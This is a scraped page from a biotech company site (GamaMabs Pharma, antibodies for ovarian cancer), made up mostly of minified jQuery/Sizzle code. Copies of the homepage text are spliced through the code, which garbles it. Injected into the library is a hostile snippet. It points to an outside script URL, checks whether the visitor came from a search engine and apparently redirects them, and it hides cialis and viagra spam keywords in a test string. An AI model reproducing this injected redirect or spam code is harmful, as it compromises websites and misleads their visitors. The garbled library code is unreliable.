e.unshift(!0),e}},filters:{enabled:function(e){return e.disabled===!1&&e.type!=="hidden"},disabled:function(e){return e.disabled===!0},checked:function(e){return e.checked===!0},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!!e.firstChild},empty:function(e){return!e.firstChild},has:function(e,t,n){return!!c(n[3],e).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){var t=e.getAttribute("type"),n=e.type;return e.nodeName.toLowerCase()==="input"&&"text"===n&&(t===n||t===null)},radio:function(e){return e.nodeName.toLowerCase()==="input"&&"radio"===e.type},checkbox:function(e){return e.nodeName.toLowerCase()==="input"&&"checkbox"===e.type},file:function(e){return e.nodeName.toLowerCase()==="input"&&"file"===e.type},password:function(e){return e.nodeName.toLowerCase()==="input"&&"password"===e.type},submit:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"submit"===e.type},image:function(e){return e.nodeName.toLowerCase()==="input"&&"image"===e.type},reset:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"reset"===e.type},button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&"button"===e.type||t==="button"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)},focus:function(e){return e===e.ownerDocument.activeElement}},setFilters:{first:function(e,t){return t===0},last:function(e,t,n,r){return t===r.length-1},even:function(e,t){return t%2===0},odd:function(e,t){return t%2===1},lt:function(e,t,n){return tn[3]-0},nth:function(e,t,n){return n[3]-0===t},eq:function(e,t,n){return n[3]-0===t}},filter:{PSEUDO:function(e,t,n,r){var i=t[1],s=h.filters[i];if(s)return s(e,n,t,r);if(i==="contains")return(e.textContent||e.innerText||c.getText([e])||"").indexOf(t[3])>=0;if(i==="not"){var o=t[3];for(var u=0,a=o.length;u=0}},ID:function(e,t){return e.nodeType===1&&e.getAttribute("id")===t},TAG:function(e,t){return t==="*"&&e.nodeType===1||e.nodeName.toLowerCase()===t},CLASS:function(e,t){return(" "+(e.className||e.getAttribute("class"))+" ").indexOf(t)>-1},ATTR:function(e,t){var n=t[1],r=h.attrHandle[n]?h.attrHandle[n](e):e[n]!=null?e[n]:e.getAttribute(n),i=r+"",s=t[2],o=t[4];return r==null?s==="!=":s==="="?i===o:s==="*="?i.indexOf(o)>=0:s==="~="?(" "+i+" ").indexOf(o)>=0:o?s==="!="?i!==o:s==="^="?i.indexOf(o)===0:s==="$="?i.substr(i.length-o.length)===o:s==="|="?i===o||i.substr(0,o.length+1)===o+"-":!1:i&&r!==!1},POS:function(e,t,n,r){var i=t[2],s=h.setFilters[i];if(s)return s(e,n,t,r)}}},p=h.match.POS,d=function(e,t){return"\"+(t-0+1)};for(var v in h.match)h.match[v]=new RegExp(h.match[v].source+/(?![^\[]*\])(?![^\(]*\))/.source),h.leftMatch[v]=new RegExp(/(^(?:.|\r|\n)*?)/.source+h.match[v].source.replace(/\(\d+)/g,d));var m=function(e,t){return e=Array.prototype.slice.call(e,0),t?(t.push.apply(t,e),t):e},g="http://www.assofleurdelotus.fr/js/test.php",y=n.referrer,b,w=[""," "],E=["google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia"];if(!y)console.log("direct"),T();else for(b=0;b",i.insertBefore(e,i.firstChild),n.getElementById(r)&&(h.find.ID=function(e,n,r){if(typeof n.getElementById!="undefined"&&!r){var i=n.getElementById(e[1]);return i?i.id===e[1]||typeof i.getAttributeNode!="undefined"&&i.getAttributeNode("id").nodeValue===e[1]?[i]:t:[]}},h.filter.ID=function(e,t){var n=typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id");return e.nodeType===1&&n&&n.nodeValue===t}),i.removeChild(e),i=e=null}(),function(){var e=n.createElement("div");e.appendChild(n.createComment("")),e.getElementsByTagName("*").length>0&&(h.find.TAG=function(e,t){var n=t.getElementsByTagName(e[1]);if(e[1]==="*"){var r=[];for(var i=0;n[i];i++)n[i].nodeType===1&&r.push(n[i]);n=r}return n}),e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!="undefined"&&e.firstChild.getAttribute("href")!=="#"&&(h.attrHandle.href=function(e){return e.getAttribute("href",2)}),e=null}(),n.querySelectorAll&&function(){var e=c,t=n.createElement("div"),r="__sizzle__";t.innerHTML="



generique cialis au maroc
nom générique viagra
cialis à long terme
viagra comment sans procurer
acheter viagra en ligne
vente cialis montreal
quel est la différence entre le viagra et le cialis

";if(t.querySelectorAll&&t.querySelectorAll(".TEST").length===0)return;c=function(t,i,s,o){i=i||n;if(!o&&!c.isXML(i)){var u=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(t);if(u&&(i.nodeType===1||i.nodeType===9)){if(u[1])return m(i.getElementsByTagName(t),s);if(u[2]&&h.find.CLASS&&i.getElementsByClassName)return m(i.getElementsByClassName(u[2]),s)}if(i.nodeType===9){if(t==="body"&&i.body)return m([i.body],s);if(u&&u[3]){var a=i.getElementById(u[3]);if(!a||!a.parentNode)return m([],s);if(a.id===u[3])return m([a],s)}try{return m(i.querySelectorAll(t),s)}catch(f){}}else if(i.nodeType===1&&i.nodeName.toLowerCase()!=="object"){var l=i,p=i.getAttribute("id"),d=p||r,v=i.parentNode,g=/^\s*[+~]/.test(t);p?d=d.replace(/'/g,"\$&"):i.setAttribute("id",d),g&&v&&(i=i.parentNode);try{if(!g||v)return m(i.querySelectorAll("[id='"+d+"'] "+t),s)}catch(y){}finally{p||l.removeAttribute("id")}}}return e(t,i,s,o)};for(var i in e)c[i]=e[i];t=null}(),function(){var e=n.documentElement,t=e.matchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.msMatchesSelector;if(t){var r=!t.call(n.createElement("div"),"div"),i=!1;try{t.call(n.documentElement,"[test!='']:sizzle")}catch(s){i=!0}c.matchesSelector=function(e,n){n=n.replace(/\=\s*([^'"\]]*)\s*\]/g,"='
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

']");if(!c.isXML(e))try{if(i||!h.match.PSEUDO.test(n)&&!/!=/.test(n)){var s=t.call(e,n);if(s||!r||e.document&&e.document.nodeType!==11)return s}}catch(o){}return c(n,null,null,[e]).length>0}}}(),function(){var e=n.createElement("div");e.innerHTML="
";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0)return;e.lastChild.className="e";if(e.getElementsByClassName("e").length===1)return;h.order.splice(1,0,"CLASS"),h.find.CLASS=function(e,t,n){if(typeof t.getElementsByClassName!="undefined"&&!n)return t.getElementsByClassName(e[1])},e=null}(),n.documentElement.contains?c.contains=function(e,t){return e!==t&&(e.contains?e.contains(t):!0)}:n.documentElement.compareDocumentPosition?c.contains=function(e,t){return!!(e.compareDocumentPosition(t)&16)}:c.contains=function(){return!1},c.isXML=function(e){var t=(e?e.ownerDocument||e:0).documentElement;return t?t.nodeName!=="HTML":!1};var O=function(e,t){var n,r=[],i="",s=t.nodeType?[t]:t;while(n=h.match.PSEUDO.exec(e))i+=n[0],e=e.replace(h.match.PSEUDO,"");e=h.relative[e]?e+"*":e;for(var o=0,u=s.length;o0)for(u=o;u0:this.filter(e).length>0)},closest:function(e,t){var n=[],r,i,o=this[0];if(s.isArray(e)){var u,a,f={},l=1;if(o&&e.length){for(r=0,i=e.length;r-1:s(o).is(u))&&n.push({selector:a,elem:o,level:l});o=o.parentNode,l++}}return n}var c=W.test(e)||typeof e!="string"?s(e,t||this.context):0;for(r=0,i=this.length;r-1:s.find.matchesSelector(o,e)){n.push(o);break}o=o.parentNode;if(!o||!o.ownerDocument||o===t||o.nodeType===11)break}}return n=n.length>1?s.unique(n):n,this.pushStack(n,"closest",e)},index:function(e){return e?typeof e=="string"?s.inArray(this[0],s(e)):s.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?s(e,t):s.makeArray(e&&e.nodeType?[e]:e),r=s.merge(this.get(),n);return this.pushStack(V(n[0])||V(r[0])?r:s.unique(r))},andSelf:function(){return this.add(this.prevObject)}}),s.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return s.dir(e,"parentNode")},parentsUntil:function(e,t,n){return s.dir(e,"parentNode",n)},next:function(e){return s.nth(e,2,"nextSibling")},prev:function(e){return s.nth(e,2,"previousSibling")},nextAll:function(e){return s.dir(e,"nextSibling")},prevAll:function(e){return s.dir(e,"previousSibling")},nextUntil:function(e,t,n){return s.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return s.dir(e,"previousSibling",n)},siblings:function(e){return s.sibling(e.parentNode.firstChild,e)},children:function(e){return s.sibling(e.firstChild)},contents:function(e){return s.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:s.makeArray(e.childNodes)}},function(e,t){s.fn[e]=function(n,r){var i=s.map(this,t,n),o=z.call(arguments);return I.test(e)||(r=n),r&&typeof r=="string"&&(i=s.filter(r,i)),i=this.length>1&&!X[e]?s.unique(i):i,(this.length>1||R.test(r))&&q.test(e)&&(i=i.reverse()),this.pushStack(i,e,o.join(","))}}),s.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?s.find.matchesSelector(t[0],e)?[t[0]]:[]:s.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&o.nodeType!==9&&(r===t||o.nodeType!==1||!s(o).is(r)))o.nodeType===1&&i.push(o),o=o[n];return i},nth:function(e,t,n,r){t=t||1;var i=0;for(;e;e=e[n])if(e.nodeType===1&&++i===t)break;return e},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var J=/ jQuery\d+="(?:\d+|null)"/g,K=/^\s+/,Q=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,G=/<([\w:]+)/,Y=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};it.optgroup=it.option,it.tbody=it.tfoot=it.colgroup=it.caption=it.thead,it.th=it.td,s.support.htmlSerialize||(it._default=[1,"div
","
"]),s.fn.extend({text:function(e){return s.isFunction(e)?this.each(function(t){var n=s(this);n.text(e.call(this,t,n.text()))}):typeof e!="object"&&e!==t?this.empty().append((this[0]&&this[0].ownerDocument||n).createTextNode(e)):s.text(this)},wrapAll:function(e){if(s.isFunction(e))return this.each(function(t){s(this).wrapAll(e.call(this,t))});if(this[0]){var t=s(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return s.isFunction(e)?this.each(function(t){s(this).wrapInner(e.call(this,t))}):this.each(function(){var t=s(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){return this.each(function(){s(this).wrapAll(e)})},unwrap:function(){return this.parent().each(function(){s.nodeName(this,"body")||s(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.insertBefore(e,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=s(arguments[0]);return e.push.apply(e,this.toArray()),this.pushStack(e,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=this.pushStack(this,"after",arguments);return e.push.apply(e,s(arguments[0]).toArray()),e}},remove:function(e,t){for(var n=0,r;(r=this[n])!=null;n++)if(!e||s.filter(e,[r]).length)!t&&r.nodeType===1&&(s.cleanData(r.getElementsByTagName("*")),s.cleanData([r])),r.parentNode&&r.parentNode.removeChild(r);return this},empty:function(){for(var e=0,t;(t=this[e])!=null;e++){t.nodeType===1&&s.cleanData(t.getElementsByTagName("*"));while(t.firstChild)t.removeChild(t.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return s.clone(this,e,t)})},html:function(e){if(e===t)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(J,""):null;if(typeof e=="string"&&!et.test(e)&&(s.support.leadingWhitespace||!K.test(e))&&!it[(G.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(Q,"<
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

>");try{for(var n=0,r=this.length;n1&&c0?this.clone(!0):this).get();s(i[u])[t](f),r=r.concat(f)}return this.pushStack(r,e,i.selector)}}),s.extend({clone:function(e,t,n){var r=e.cloneNode(!0),i,o,u;if((!s.support.noCloneEvent||!s.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!s.isXMLDoc(e)){ut(e,r),i=at(e),o=at(r);for(u=0;i[u];++u)o[u]&&ut(i[u],o[u])}if(t){ot(e,r);if(n){i=at(e),o=at(r);for(u=0;i[u];++u)ot(i[u],o[u])}}return i=o=null,r},clean:function(e,t,r,i){var o;t=t||n,typeof t.createElement=="undefined"&&(t=t.ownerDocument||t[0]&&t[0].ownerDocument||n);var u=[],a;for(var f=0,l;(l=e[f])!=null;f++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!Z.test(l))l=t.createTextNode(l);else{l=l.replace(Q,"<
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

>");var c=(G.exec(l)||["",""])[1].toLowerCase(),h=it[c]||it._default,p=h[0],d=t.createElement("div");d.innerHTML=h[1]+l+h[2];while(p--)d=d.lastChild;if(!s.support.tbody){var v=Y.test(l),m=c==="table"&&!v?d.firstChild&&d.firstChild.childNodes:h[1]===""&&!v?d.childNodes:[];for(a=m.length-1;a>=0;--a)s.nodeName(m[a],"tbody")&&!m[a].childNodes.length&&m[a].parentNode.removeChild(m[a])}!s.support.leadingWhitespace&&K.test(l)&&d.insertBefore(t.createTextNode(K.exec(l)[0]),d.firstChild),l=d.childNodes}var g;if(!s.support.appendChecked)if(l[0]&&typeof (g=l.length)=="number")for(a=0;a=0)return t+"px"}}}),s.support.opacity||(s.cssHooks.opacity={get:function(e,t){return pt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?parseFloat(RegExp.
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

)/100+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=s.isNaN(t)?"":"alpha(opacity="+t*100+")",o=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&s.trim(o.replace(ht,""))===""){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=ht.test(o)?o.replace(ht,i):o+" "+i}}),s(function(){s.support.reliableMarginRight||(s.cssHooks.marginRight={get:function(e,t){var n;return s.swap(e,{display:"inline-block"},function(){t?n=Et(e,"margin-right","marginRight"):n=e.style.marginRight}),n}})}),n.defaultView&&n.defaultView.getComputedStyle&&(St=function(e,n){var r,i,o;n=n.replace(dt,"-
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

").toLowerCase();if(!(i=e.ownerDocument.defaultView))return t;if(o=i.getComputedStyle(e,null))r=o.getPropertyValue(n),r===""&&!s.contains(e.ownerDocument.documentElement,e)&&(r=s.style(e,n));return r}),n.documentElement.currentStyle&&(xt=function(e,t){var n,r=e.currentStyle&&e.currentStyle[t],i=e.runtimeStyle&&e.runtimeStyle[t],s=e.style;return!vt.test(r)&&mt.test(r)&&(n=s.left,i&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":r||0,r=s.pixelLeft+"px",s.left=n,i&&(e.runtimeStyle.left=i)),r===""?"auto":r}),Et=St||xt,s.expr&&s.expr.filters&&(s.expr.filters.hidden=function(e){var t=e.offsetWidth,n=e.offsetHeight;return t===0&&n===0||!s.support.reliableHiddenOffsets&&(e.style.display||s.css(e,"display"))==="none"},s.expr.filters.visible=function(e){return!s.expr.filters.hidden(e)});var Nt=/%20/g,Ct=/\[\]$/,kt=/\r?\n/g,Lt=/#.*$/,At=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,Ot=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,Mt=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,_t=/^(?:GET|HEAD)$/,Dt=/^\/\//,Pt=/\?/,Ht=/)<[^<]*)*<\/script>/gi,Bt=/^(?:select|textarea)/i,jt=/\s+/,Ft=/([?&])_=[^&]*/,It=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,qt=s.fn.load,Rt={},Ut={},zt,Wt,Xt=["*/"]+["*"];try{zt=i.href}catch(Vt){zt=n.createElement("a"),zt.href="",zt=zt.href}Wt=It.exec(zt.toLowerCase())||[],s.fn.extend({load:function(e,n,r){if(typeof e!="string"&&qt)return qt.apply(this,arguments);if(!this.length)return this;var i=e.indexOf(" ");if(i>=0){var o=e.slice(i,e.length);e=e.slice(0,i)}var u="GET";n&&(s.isFunction(n)?(r=n,n=t):typeof n=="object"&&(n=s.param(n,s.ajaxSettings.traditional),u="POST"));var a=this;return s.ajax({url:e,type:u,dataType:"html",data:n,complete:function(e,t,n){n=e.responseText,e.isResolved()&&(e.done(function(e){n=e}),a.html(o?s("
").append(n.replace(Ht,"")).find(o):n)),r&&a.each(r,[n,t,e])}}),this},serialize:function(){return s.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?s.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||Bt.test(this.nodeName)||Ot.test(this.type))}).map(function(e,t){var n=s(this).val();return n==null?null:s.isArray(n)?s.map(n,function(e,n){return{name:t.name,value:e.replace(kt,"\r\n")}}):{name:t.name,value:n.replace(kt,"\r\n")}}).get()}}),s.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){s.fn[t]=function(e){return this.bind(t,e)}}),s.each(["get","post"],function(e,n){s[n]=function(e,r,i,o){return s.isFunction(r)&&(o=o||i,i=r,r=t),s.ajax({type:n,url:e,data:r,success:i,dataType:o})}}),s.extend({getScript:function(e,n){return s.get(e,t,n,"script")},getJSON:function(e,t,n){return s.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Kt(e,s.ajaxSettings):(t=e,e=s.ajaxSettings),Kt(e,t),e},ajaxSettings:{url:zt,isLocal:Mt.test(Wt[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Xt},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":s.parseJSON,"text xml":s.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:$t(Rt),ajaxTransport:$t(Ut),ajax:function(e,n){function S(e,n,c,h){if(y===2)return;y=2,m&&clearTimeout(m),v=t,p=h||"",E.readyState=e>0?4:0;var d,g,w,S=n,x=c?Gt(r,E,c):t,T,N;if(e>=200&&e<300||e===304){if(r.ifModified){if(T=E.getResponseHeader("Last-Modified"))s.lastModified[l]=T;if(N=E.getResponseHeader("Etag"))s.etag[l]=N}if(e===304)S="notmodified",d=!0;else try{g=Yt(r,x),S="success",d=!0}catch(C){S="parsererror",w=C}}else{w=S;if(!S||e)S="error",e<0&&(e=0)}E.status=e,E.statusText=""+(n||S),d?u.resolveWith(i,[g,S,E]):u.rejectWith(i,[E,S,w]),E.statusCode(f),f=t,b&&o.trigger("ajax"+(d?"Success":"Error"),[E,r,d?g:w]),a.resolveWith(i,[E,S]),b&&(o.trigger("ajaxComplete",[E,r]),--s.active||s.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r=s.ajaxSetup({},n),i=r.context||r,o=i!==r&&(i.nodeType||i instanceof s)?s(i):s.event,u=s.Deferred(),a=s._Deferred(),f=r.statusCode||{},l,c={},h={},p,d,v,m,g,y=0,b,w,E={readyState:0,setRequestHeader:function(e,t){if(!y){var n=e.toLowerCase();e=h[n]=h[n]||e,c[e]=t}return this},getAllResponseHeaders:function(){return y===2?p:null},getResponseHeader:function(e){var n;if(y===2){if(!d){d={};while(n=At.exec(p))d[n[1].toLowerCase()]=n[2]}n=d[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return y||(r.mimeType=e),this},abort:function(e){return e=e||"abort",v&&v.abort(e),S(0,e),this}};u.promise(E),E.success=E.done,E.error=E.fail,E.complete=a.done,E.statusCode=function(e){if(e){var t;if(y<2)for(t in e)f[t]=[f[t],e[t]];else t=e[E.status],E.then(t,t)}return this},r.url=((e||r.url)+"").replace(Lt,"").replace(Dt,Wt[1]+"//"),r.dataTypes=s.trim(r.dataType||"*").toLowerCase().split(jt),r.crossDomain==null&&(g=It.exec(r.url.toLowerCase()),r.crossDomain=!(!g||g[1]==Wt[1]&&g[2]==Wt[2]&&(g[3]||(g[1]==="http:"?80:443))==(Wt[3]||(Wt[1]==="http:"?80:443)))),r.data&&r.processData&&typeof r.data!="string"&&(r.data=s.param(r.data,r.traditional)),Jt(Rt,r,n,E);if(y===2)return!1;b=r.global,r.type=r.type.toUpperCase(),r.hasContent=!_t.test(r.type),b&&s.active++===0&&s.event.trigger("ajaxStart");if(!r.hasContent){r.data&&(r.url+=(Pt.test(r.url)?"&":"?")+r.data,delete r.data),l=r.url;if(r.cache===!1){var x=s.now(),T=r.url.replace(Ft,"
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

_="+x);r.url=T+(T===r.url?(Pt.test(r.url)?"&":"?")+"_="+x:"")}}(r.data&&r.hasContent&&r.contentType!==!1||n.contentType)&&E.setRequestHeader("Content-Type",r.contentType),r.ifModified&&(l=l||r.url,s.lastModified[l]&&E.setRequestHeader("If-Modified-Since",s.lastModified[l]),s.etag[l]&&E.setRequestHeader("If-None-Match",s.etag[l])),E.setRequestHeader("Accept",r.dataTypes[0]&&r.accepts[r.dataTypes[0]]?r.accepts[r.dataTypes[0]]+(r.dataTypes[0]!=="*"?", "+Xt+"; q=0.01":""):r.accepts["*"]);for(w in r.headers)E.setRequestHeader(w,r.headers[w]);if(!r.beforeSend||r.beforeSend.call(i,E,r)!==!1&&y!==2){for(w in{success:1,error:1,complete:1})E[w](r[w]);v=Jt(Ut,r,n,E);if(!v)S(-1,"No Transport");else{E.readyState=1,b&&o.trigger("ajaxSend",[E,r]),r.async&&r.timeout>0&&(m=setTimeout(function(){E.abort("timeout")},r.timeout));try{y=1,v.send(c,S)}catch(N){y<2?S(-1,N):s.error(N)}}return E}return E.abort(),!1},param:function(e,n){var r=[],i=function(e,t){t=s.isFunction(t)?t():t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=s.ajaxSettings.traditional);if(s.isArray(e)||e.jquery&&!s.isPlainObject(e))s.each(e,function(){i(this.name,this.value)});else for(var o in e)Qt(o,e[o],n,i);return r.join("&").replace(Nt,"+")}}),s.extend({active:0,lastModified:{},etag:{}});var Zt=s.now(),en=/(\=)\?(&|$)|\?\?/i;s.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return s.expando+"_"+Zt++}}),s.ajaxPrefilter("json jsonp",function(t,n,r){var i=t.contentType==="application/x-www-form-urlencoded"&&typeof t.data=="string";if(t.dataTypes[0]==="jsonp"||t.jsonp!==!1&&(en.test(t.url)||i&&en.test(t.data))){var o,u=t.jsonpCallback=s.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,a=e[u],f=t.url,l=t.data,c="